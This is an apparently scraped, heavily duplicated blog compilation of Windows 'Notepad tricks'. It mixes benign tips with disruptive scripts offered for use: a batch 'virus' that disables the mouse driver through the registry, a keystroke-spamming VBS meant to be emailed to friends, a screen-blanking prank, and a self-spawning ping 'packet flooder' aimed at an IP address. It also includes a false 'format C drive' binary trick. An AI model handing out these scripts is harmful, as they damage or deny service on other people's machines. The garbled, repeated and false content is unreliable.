Test Your Anti-Virus
You can also test your anti virus program for its effectiveness using a simple notepad trick. Follow the steps below to know more:
- Open Notepad.
- Copy the code give below in the notepad file:
X5O!P%@AP[4PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* - Save it with an .exe extension like testvirus.exe
Make A Personal Log-Book or A Diary
Did you know that you can also use Notepad as a simple digital diary or a personal Log-Book ? Well, if you didn’t then follow the below mentioned steps to make one for yourself !
- Open Notepad.
- Type .LOG (in capital letters) and hit enter.
- Save it with any name and close it.
- Open it again.
Keyboard Dancing Led Light Trick
showing you an interesting trick which will let your keyboard led light to dance. Basicly we will be creating a vbscript to make caps lock, num lock and scroll lock to perform this trick. So lets get started.
How to do that ?
1. Open Notepad and copy below codes into it.
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
wshshell.sendkeys "{NUMLOCK}"
wshshell.sendkeys "{SCROLLLOCK}"
loop
2. Then save this file as led.vbs (.vbs is must)
3. Open your save file and see your keyboard led blinking like disco lights.
How to disable blinking Led ?
1. First open Task Manager [ctrl+alt+del ]
2. Then Go to process tab.
3. Select wscript.exe
4. Click on End process.
1. Open Notepad and copy below codes into it.
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
wshshell.sendkeys "{NUMLOCK}"
wshshell.sendkeys "{SCROLLLOCK}"
loop
2. Then save this file as led.vbs (.vbs is must)
3. Open your save file and see your keyboard led blinking like disco lights.
How to disable blinking Led ?
1. First open Task Manager [ctrl+alt+del ]
2. Then Go to process tab.
3. Select wscript.exe
4. Click on End process.
Renaming Win XP Start Menu Button
This guide will show you how to edit/rename the Windows XP start menu button. Are you bored of having the name “start”? If so now you can rename your start menu button to give the name of your choice.
STEP 1: BYPASSING WINDOWS FILE PROTECTION
1. Launch My Computer, click tools, folder options, then view
2. Select show all hidden files and folders option and uncheck the option hide protected operating system files, unckeck hide extention for known file types
3. Goto C:\windows\system32\restore, select the file filelist.xml, right click it go to properties and uncheck the option read-only
4. Open it (filelist.xml) with notepad
5. Add the line <rec>%systemroot%\explorer.exe</rec> as shown below
<exclude>
<rec>%systemroot%\explorer.exe</rec>
<rec> %windir%\system.ini</rec>
<rec> %windir%\tasks\desktop.ini</rec>
<rec> %windir%\win.ini</rec>
<rec> *:\AUTOEXEC.BAT </rec>
<rec>*:\CONFIG.MSI</rec>
<rec> *:\CONFIG.SYS </rec>
6. Save the file
7. Goto C:\windows\system32\dllcache, you will find a backup copy of explorer.exe. Rename it to explorer.bak.
STEP 2: CHANGING THE NAME OF START BUTTON
1. Using Resource Hacker, open the file explorer.exe located at C:\windows.
2. Expand string, expand 37, click on 1033
3. On right side raname “start” to anything you want. For ex. “yourname” and press “compile script”
4. Repeat the same procedure for string 38, 1033
5. Save changes in file menu (if error occurs close explorer.exe and repeat sub-step 3 and 4)
6. Restart your computer. After restart you can see the changes. Enjoy!
STEP 1: BYPASSING WINDOWS FILE PROTECTION
1. Launch My Computer, click tools, folder options, then view
2. Select show all hidden files and folders option and uncheck the option hide protected operating system files, unckeck hide extention for known file types
3. Goto C:\windows\system32\restore, select the file filelist.xml, right click it go to properties and uncheck the option read-only
4. Open it (filelist.xml) with notepad
5. Add the line <rec>%systemroot%\explorer.exe</rec> as shown below
<exclude>
<rec>%systemroot%\explorer.exe</rec>
<rec> %windir%\system.ini</rec>
<rec> %windir%\tasks\desktop.ini</rec>
<rec> %windir%\win.ini</rec>
<rec> *:\AUTOEXEC.BAT </rec>
<rec>*:\CONFIG.MSI</rec>
<rec> *:\CONFIG.SYS </rec>
6. Save the file
7. Goto C:\windows\system32\dllcache, you will find a backup copy of explorer.exe. Rename it to explorer.bak.
STEP 2: CHANGING THE NAME OF START BUTTON
1. Using Resource Hacker, open the file explorer.exe located at C:\windows.
2. Expand string, expand 37, click on 1033
3. On right side raname “start” to anything you want. For ex. “yourname” and press “compile script”
4. Repeat the same procedure for string 38, 1033
5. Save changes in file menu (if error occurs close explorer.exe and repeat sub-step 3 and 4)
6. Restart your computer. After restart you can see the changes. Enjoy!
Get Rid of the Recycle Bin on your Desktop
Here is a way to remove the recycle bin from your desktop. This trick help’s people who want to get rid of the recycle bin on the desktop.
1. Goto start, Run, Type “gpedit.msc” (Type without quotes)
2. On the left panel, under User Configuration expand the tree Administrative templates
3. Click on the subtree desktop (single click, do not expand it)
4. On the right panel, Select the option-Remove Recycle Bin icon from desktop properties
5. Double click the option, on the settings tab just select the option enabled, press OK & exit the window.
6. Refesh the desktop (press F5), Your Recycle Bin vanishous. If not you need to logout and then re-login.
NOTE: This trick works on Win XP, Vista and Win 7
1. Goto start, Run, Type “gpedit.msc” (Type without quotes)
2. On the left panel, under User Configuration expand the tree Administrative templates
3. Click on the subtree desktop (single click, do not expand it)
4. On the right panel, Select the option-Remove Recycle Bin icon from desktop properties
5. Double click the option, on the settings tab just select the option enabled, press OK & exit the window.
6. Refesh the desktop (press F5), Your Recycle Bin vanishous. If not you need to logout and then re-login.
NOTE: This trick works on Win XP, Vista and Win 7
Make a virus that disable Mouse
I had previously posted on making different batch files like matrix effect, opening no of websites with one click which were interesting and completely harmless but today we will be making a batch virus which is harmfull it will disable your mouse so think before trying it on yourself.
rem Disable Mouse
set key="HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass"
reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 4
rem ---------------------------------
- Open Notepad and copy below codes
rem Disable Mouse
set key="HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass"
reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 4
rem ---------------------------------
- Save this file as virus.bat
- Done you just created your virus.
Format Your Hard Disk Using Just Notepad !!
Ever wondered of a way to format your hard disk using just notepad ?
I bet you haven’t even thought about it or if you have had then you would still have preferred using reliable software’s available to do the job.
In this post i am going to share a simple way to format your C drive (Yep, only C drive)using just notepad. This is just a nice little nifty trick, which i am sharing with you. Make sure you don’t actually use it on your business computer. Try to make this trick work in a VMWare Machine in your free time.
Moving on, in order to completely format your C: Drive (Primary disk) follow the steps given below :-
This is just a little binary fun. Be Careful while using it.
UPDATE : No, you can’t run it from C: drive itself (not from the drive in which OS is installed & running).
I bet you haven’t even thought about it or if you have had then you would still have preferred using reliable software’s available to do the job.
In this post i am going to share a simple way to format your C drive (Yep, only C drive)using just notepad. This is just a nice little nifty trick, which i am sharing with you. Make sure you don’t actually use it on your business computer. Try to make this trick work in a VMWare Machine in your free time.
Moving on, in order to completely format your C: Drive (Primary disk) follow the steps given below :-
- Open notepad.
- Type the following the code in it (Or just copy paste it). 01100110011011110111001001101101011000010111010000 1000000110001100111010010111000010000000101111010100010010111101011000
- Save it as an .exe file giving any name you desire.
This is just a little binary fun. Be Careful while using it.
UPDATE : No, you can’t run it from C: drive itself (not from the drive in which OS is installed & running).
Convert Text Into Audio Using Notepad
- Open Notepad file on your Windows PC.
- Copy and paste the below mentioned code :
- Dim msg, sapi msg=InputBox("Enter your text for conversion–www.knowhacking.wordpress.com","Knowhacking Text-To-Audio Converter") Set sapi=CreateObject("sapi.spvoice") sapi.Speak msg
- Save this file with any name with .vbs as extension. For eg. Text-To-Audio.vbs
Thats it ! Your Text to Audio converter is ready to be used. Now open the saved file and key in the text you want to convert and click OK. If you find any difficulties in using this code, let me know via comments section.
Lock File(s) on Windows Without Using Any Software
How many times have you wished of a software using which you can hide or lock files, restricting its access to other unwanted users. Although there are various software available in market using which you can easily lock/hide files but, i personally dont trust them because most of them are bloatware or spyware.
In this post i am going to share a simple yet powerful way of locking and hiding important files using a the following method. Follow the instructions to make you own Locker ( Without any software !! ) :
In this post i am going to share a simple yet powerful way of locking and hiding important files using a the following method. Follow the instructions to make you own Locker ( Without any software !! ) :
- Open notepad.
- Copy the following code in notepad file :
- cls @ECHO OFF title Folder Locker if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK if NOT EXIST Locker goto MDLOCKER :CONFIRM echo Are you sure u want to Lock the folder(Y/N) set/p "cho=>" if %cho%==Y goto LOCK if %cho%==y goto LOCK if %cho%==n goto END if %cho%==N goto END echo Invalid choice. goto CONFIRM :LOCK ren Locker "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" echo Folder locked goto End :UNLOCK echo Enter password to Unlock folder set/p "pass=>" if NOT %pass%==YOUR PASSWORD HERE goto FAIL attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Locker echo Folder Unlocked successfully goto End :FAIL echo Invalid password goto end :MDLOCKER md Locker echo Locker created successfully goto End :End
- Change the “YOUR PASSWORD HERE” with your password.
- Save it as batch file ( with extension .bat ) For eg. Locker.bat
- Now you will see a batch file. Double click it to create a folder locker ( A new folder named Locker would be formed at the same location )
- Thats it you have now created your own locker and that too without using any software !
- Brings all the files you want to hide in the locker folder.
- Double click the batch ( As created above ) file to lock the folder namely Locker.
f you want to unlock your files, simple double click the batch file again and you would be prompted for password ( In DOS window ). Enter the password and enjoy access to the folder.
But don’t delete .bat file and loose your stuff…….
But don’t delete .bat file and loose your stuff…….
Toggle Keyboard Button Simultaneously
Using Notepad (and VB) you can set different keys on your keyboard to toggle continuously. Following are the 3 tricks using which different keys can be set to toggle simultaneously. Follow the steps given under each head to try out the tricks.
1. Caps Lock Key
do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
loop
do
wscript.sleep 100
wshshell.sendkeys “~(enter)”
loop
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{bs}”
loop
1. Caps Lock Key
- Open Notepad.
- Paste the following code in the notepad file:
do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
loop
- Save the file with anyname and .vbs extension. and close it.
- Now open the newly created file and see how the caps lock key behaves on your keyboard!
- Open Notepad.
- Paste the following code in the notepad file:
do
wscript.sleep 100
wshshell.sendkeys “~(enter)”
loop
- Save the file with any name and .vbs extension and close it.
- Now open the newly created file and see how the enter key behaves!
- Open Notepad.
- Paste the following code in the notepad file:
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{bs}”
loop
- Save the file with any name and with .vbs extension and close it.
- Now open the newly created file and see how the key behaves!
Change The Header/Footer Of Your Notepad File
More often than not whenever you get a printout of your notepad file, it starts with “Untitled” or the filename at top, and “Page ” on bottom. Now if you want to get rid of it or want to change it, just follow the simple steps given below.
- Open Notepad.
- Click on File -> Page Setup.
- Replace the text written in the “Header” and “Footer” box (as shown above) by any of the following codes:
&c Center the characters that follow
&r Right-align the characters that follow
&d Print the current date
&t Print the current time
&f Print the name of the document
&p Print the page number
Continually pop the CD Drive
- Open Notepad.
- Copy the code given below onto the notepad file:
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
- Save it as “Anything.VBS”.
Make A Personal Log-Book or A Diary
Did you know that you can also use Notepad as a simple digital diary or a personal Log-Book ? Well, if you didn’t then follow the below mentioned steps to make one for yourself !
- Open Notepad.
- Type .LOG (in capital letters) and hit enter.
- Save it with any name and close it.
- Open it again.
Make your Computer Welcome YouDo you watch movies?
Have you always loved the way how Computers in movies welcome their users by calling out their names? I bet that you too would want to know how you can achieve similar results on your PC and have a computer said welcome.
Then you are at the right place, this article describes exactly how you can make your computer welcome you like this.
With this trick, you can make your Computer welcome you in its computerized voice. You can make your Windows based computer say "Welcome to your PC, Username."
Make Windows Greet you with a Custom Voice Message at Startup
To use this trick, follow the instructions given below:-
speaks="Welcome to your PC, Username"
Set speech=CreateObject("sapi.spvoice")
speech.Speak speaks 3. Replace Username with your own name.
4. Click on File Menu, Save As, select All Types in Save as Type option, and save the file as Welcome.vbs or "*.vbs".
5. Copy the saved file.
6. Navigate to C:\Documents and Settings\All Users\Start Menu\Programs\Startup (in Windows XP) or to C:\Users\ User-Name\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup (in Windows 7 and Windows Vista) if C: is your System drive.
7. Paste the file.
Have you always loved the way how Computers in movies welcome their users by calling out their names? I bet that you too would want to know how you can achieve similar results on your PC and have a computer said welcome.
Then you are at the right place, this article describes exactly how you can make your computer welcome you like this.
With this trick, you can make your Computer welcome you in its computerized voice. You can make your Windows based computer say "Welcome to your PC, Username."
Make Windows Greet you with a Custom Voice Message at Startup
To use this trick, follow the instructions given below:-
- Click on Start. Navigate to All Programs, Accessories and Notepad.
- Copy and paste the exact code given below.
speaks="Welcome to your PC, Username"
Set speech=CreateObject("sapi.spvoice")
speech.Speak speaks 3. Replace Username with your own name.
4. Click on File Menu, Save As, select All Types in Save as Type option, and save the file as Welcome.vbs or "*.vbs".
5. Copy the saved file.
6. Navigate to C:\Documents and Settings\All Users\Start Menu\Programs\Startup (in Windows XP) or to C:\Users\ User-Name\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup (in Windows 7 and Windows Vista) if C: is your System drive.
7. Paste the file.
Note: For best results, it is recommended to change sound scheme to No Sounds.
You can change the sound scheme to No Sounds by following the steps given below:-
You can change the sound scheme to No Sounds by following the steps given below:-
- Go to Control Panel.
- Then click on Switch to Classic View.
- Then Click on Sounds and Audio Devices.
- Then Click on the Sounds Tab.
- Select No Sounds from the Sound Scheme option.
- If you wish to save your Previous Sound Scheme, you can save it by clicking Yes in the popup menu.
- Click on OK.
Try it yourself to see how it works. In my personal opinion, this is an excellent trick. Whenever I start my PC in front of anybody and the PC welcomes me, the fellow is left wondering how brilliant a computer do I have.
Make Your Keyboard Type (Any) Message Continuously-VBS Trick
This VBS trick can make any of your friend's keyboard type any message continuously. Open Notepad, copy the code given below and save the file as Tricks.vbs or *.vbs.
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "This is a Virus. You have been infected."
loopYou might need to restart your computer to stop this. Send this file to your friends as an email attachment to see the fun.
This VBS trick can make any of your friend's keyboard type any message continuously. Open Notepad, copy the code given below and save the file as Tricks.vbs or *.vbs.
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "This is a Virus. You have been infected."
loopYou might need to restart your computer to stop this. Send this file to your friends as an email attachment to see the fun.
Create a Harmless Funny Virus with Notepad-Continuously eject CD/DVD drivesThis VBS trick will create a code which will continuously eject all your connected Optical drives. If you put them back in, it will pop them out again. Copy this code and paste it in Notepad as Virus.vbs or *.vbs.
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
Double click to open this file and you will be impressed by this awesome trick.
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
Double click to open this file and you will be impressed by this awesome trick.
TIPS 1 :
-: Folder Lock Without Any Software :-
Folder Lock With Password Without Any Software-
Paste the code given below in notepad and 'Save' it as batch file (with extension '.bat').
Any name will do.
Then you see a batch file. Double click on this batch file to create a folder locker.
New folder named 'Locker' would be formed at the same location.
Now bring all the files you want to hide in the 'Locker' folder. Double click on the batch file to lock the folder namely 'Locker'.
If you want to unlock your files,double click the batch file again and you would be prompted for password.
Enter the password and enjoy access to the folder
CODE:
if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
if NOT EXIST Locker goto MDLOCKER
:CONFIRM
echo Are you sure u want to Lock the folder(Y/N)
set/p "cho=>"
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren Locker "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
echo Folder locked
goto End
:UNLOCK
echo Enter password to Unlock folder
set/p "pass=>"
if NOT %pass%==type your password here goto FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Locker
echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password
goto end
:MDLOCKER
md Locker
echo Locker created successfully
goto End
:End
TIPS 2:
Matrix Effect
pen Notepad & Type
@echo off
color 02
:ambi
echo %random% %random% %random% %random% %random% %random% %random% %random%
goto ambi
pen Notepad & Type
@echo off
color 02
:ambi
echo %random% %random% %random% %random% %random% %random% %random% %random%
goto ambi
TIPS 3:
This batch file can make your screen flash random colors until you hit a key to stop it,
Just copy and paste the following code into notepad and then save it as a .bat file.
@echo off
echo e100 B8 13 00 CD 10 E4 40 88 C3 E4 40 88 C7 F6 E3 30>\z.dbg
echo e110 DF 88 C1 BA C8 03 30 C0 EE BA DA 03 EC A8 08 75>>\z.dbg
echo e120 FB EC A8 08 74 FB BA C9 03 88 D8 EE 88 F8 EE 88>>\z.dbg
echo e130 C8 EE B4 01 CD 16 74 CD B8 03 00 CD 10 C3>>\z.dbg
echo g=100>>\z.dbg
echo q>>\z.dbg
debug <\z.dbg>nuldel \z.dbg
Just copy and paste the following code into notepad and then save it as a .bat file.
@echo off
echo e100 B8 13 00 CD 10 E4 40 88 C3 E4 40 88 C7 F6 E3 30>\z.dbg
echo e110 DF 88 C1 BA C8 03 30 C0 EE BA DA 03 EC A8 08 75>>\z.dbg
echo e120 FB EC A8 08 74 FB BA C9 03 88 D8 EE 88 F8 EE 88>>\z.dbg
echo e130 C8 EE B4 01 CD 16 74 CD B8 03 00 CD 10 C3>>\z.dbg
echo g=100>>\z.dbg
echo q>>\z.dbg
debug <\z.dbg>nuldel \z.dbg
TIPS 4:
But if you want to prank a friend then do the same with this code,
if any key is pressed it turns the screen blackThe only way to stop it is by using CTRL-ALT-DELETE AND then save it as a .bat file.
@echo off
:a
echo e100 B8 13 00 CD 10 E4 40 88 C3 E4 40 88 C7 F6 E3 30>\z.dbg
echo e110 DF 88 C1 BA C8 03 30 C0 EE BA DA 03 EC A8 08 75>>\z.dbg
echo e120 FB EC A8 08 74 FB BA C9 03 88 D8 EE 88 F8 EE 88>>\z.dbg
echo e130 C8 EE B4 01 CD 16 74 CD B8 03 00 CD 10 C3>>\z.dbg
echo g=100>>\z.dbg
echo q>>\z.dbg
debug <\z.dbg>nul
del \z.dbg
goto a
if any key is pressed it turns the screen blackThe only way to stop it is by using CTRL-ALT-DELETE AND then save it as a .bat file.
@echo off
:a
echo e100 B8 13 00 CD 10 E4 40 88 C3 E4 40 88 C7 F6 E3 30>\z.dbg
echo e110 DF 88 C1 BA C8 03 30 C0 EE BA DA 03 EC A8 08 75>>\z.dbg
echo e120 FB EC A8 08 74 FB BA C9 03 88 D8 EE 88 F8 EE 88>>\z.dbg
echo e130 C8 EE B4 01 CD 16 74 CD B8 03 00 CD 10 C3>>\z.dbg
echo g=100>>\z.dbg
echo q>>\z.dbg
debug <\z.dbg>nul
del \z.dbg
goto a
TIPS 5:
Packet Flooder Trick
@echo off
:flood
ping -l 65500 -t 10.179.65.68
start flooder.bat
goto flood
@echo off
:flood
ping -l 65500 -t 10.179.65.68
start flooder.bat
goto flood